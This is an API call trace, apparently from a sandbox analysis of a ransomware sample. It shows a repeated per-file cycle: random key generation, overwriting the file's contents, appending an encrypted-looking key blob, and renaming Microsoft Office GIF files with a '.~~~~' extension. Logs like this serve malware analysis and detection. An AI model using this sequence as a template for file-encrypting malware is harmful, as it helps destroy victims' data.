	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccdd0
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccdd0 | out: hHeap=0x300000) returned 1
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f258
	[0128.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f258 | out: hHeap=0x300000) returned 1
	[0128.168] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.169] GetLastError () returned 0x0
	[0128.169] GetLastError () returned 0x0
	[0128.169] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.169] GetLastError () returned 0x0
	[0128.169] GetLastError () returned 0x0
	[0128.175] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.175] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x370, lpOverlapped=0x0) returned 1
	[0128.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.178] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.178] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.179] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.179] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.179] CloseHandle (hObject=0x13c) returned 1
	[0128.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b66b8
	[0128.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif.~~~~")) returned 1
	[0128.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0128.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.299] GetLastError () returned 0x0
	[0128.339] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe350) returned 1
	[0128.340] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.340] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.340] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24833038083) returned 1
	[0128.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5f311f0, dwHighDateTime=0x1d60e1e)) 
	[0128.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b758
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b758 | out: hHeap=0x300000) returned 1
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6d48
	[0128.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6d48 | out: hHeap=0x300000) returned 1
	[0128.341] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.341] GetLastError () returned 0x0
	[0128.341] GetLastError () returned 0x0
	[0128.342] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.342] GetLastError () returned 0x0
	[0128.342] GetLastError () returned 0x0
	[0128.344] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.344] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3d4, lpOverlapped=0x0) returned 1
	[0128.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.346] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.346] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.346] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.346] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.346] CloseHandle (hObject=0x138) returned 1
	[0128.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6d48
	[0128.347] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif.~~~~")) returned 1
	[0128.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6d48 | out: hHeap=0x300000) returned 1
	[0128.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.348] GetLastError () returned 0x0
	[0128.349] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe350) returned 1
	[0128.350] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.350] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.350] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24834027414) returned 1
	[0128.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5f57350, dwHighDateTime=0x1d60e1e)) 
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b790
	[0128.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b790 | out: hHeap=0x300000) returned 1
	[0128.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7090
	[0128.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7090 | out: hHeap=0x300000) returned 1
	[0128.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.351] GetLastError () returned 0x0
	[0128.351] GetLastError () returned 0x0
	[0128.351] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.352] GetLastError () returned 0x0
	[0128.352] GetLastError () returned 0x0
	[0128.353] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffecf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.353] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x131, lpOverlapped=0x0) returned 1
	[0128.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.355] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.355] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.355] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.355] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.355] CloseHandle (hObject=0x138) returned 1
	[0128.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7090
	[0128.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif.~~~~")) returned 1
	[0128.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7090 | out: hHeap=0x300000) returned 1
	[0128.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.357] GetLastError () returned 0x0
	[0128.358] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe350) returned 1
	[0128.359] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.359] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.359] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24834953879) returned 1
	[0128.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5f57350, dwHighDateTime=0x1d60e1e)) 
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ca18
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca18 | out: hHeap=0x300000) returned 1
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b73d8
	[0128.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b73d8 | out: hHeap=0x300000) returned 1
	[0128.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.360] GetLastError () returned 0x0
	[0128.361] GetLastError () returned 0x0
	[0128.361] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.361] GetLastError () returned 0x0
	[0128.361] GetLastError () returned 0x0
	[0128.393] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffba0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.393] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x460, lpOverlapped=0x0) returned 1
	[0128.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.396] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.396] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.396] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.396] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.439] CloseHandle (hObject=0x138) returned 1
	[0128.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5f80
	[0128.484] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif.~~~~")) returned 1
	[0128.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5f80 | out: hHeap=0x300000) returned 1
	[0128.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.568] GetLastError () returned 0x0
	[0128.568] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.569] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.570] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24855992636) returned 1
	[0128.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb616c690, dwHighDateTime=0x1d60e1e)) 
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95a8
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95a8 | out: hHeap=0x300000) returned 1
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb030
	[0128.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0128.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.571] GetLastError () returned 0x0
	[0128.571] GetLastError () returned 0x0
	[0128.571] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.571] GetLastError () returned 0x0
	[0128.571] GetLastError () returned 0x0
	[0128.573] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.573] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x146, lpOverlapped=0x0) returned 1
	[0128.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.575] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.575] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.575] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.575] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.575] CloseHandle (hObject=0x120) returned 1
	[0128.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb030
	[0128.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif.~~~~")) returned 1
	[0128.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0128.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.577] GetLastError () returned 0x0
	[0128.577] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.578] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.578] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.578] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24856836644) returned 1
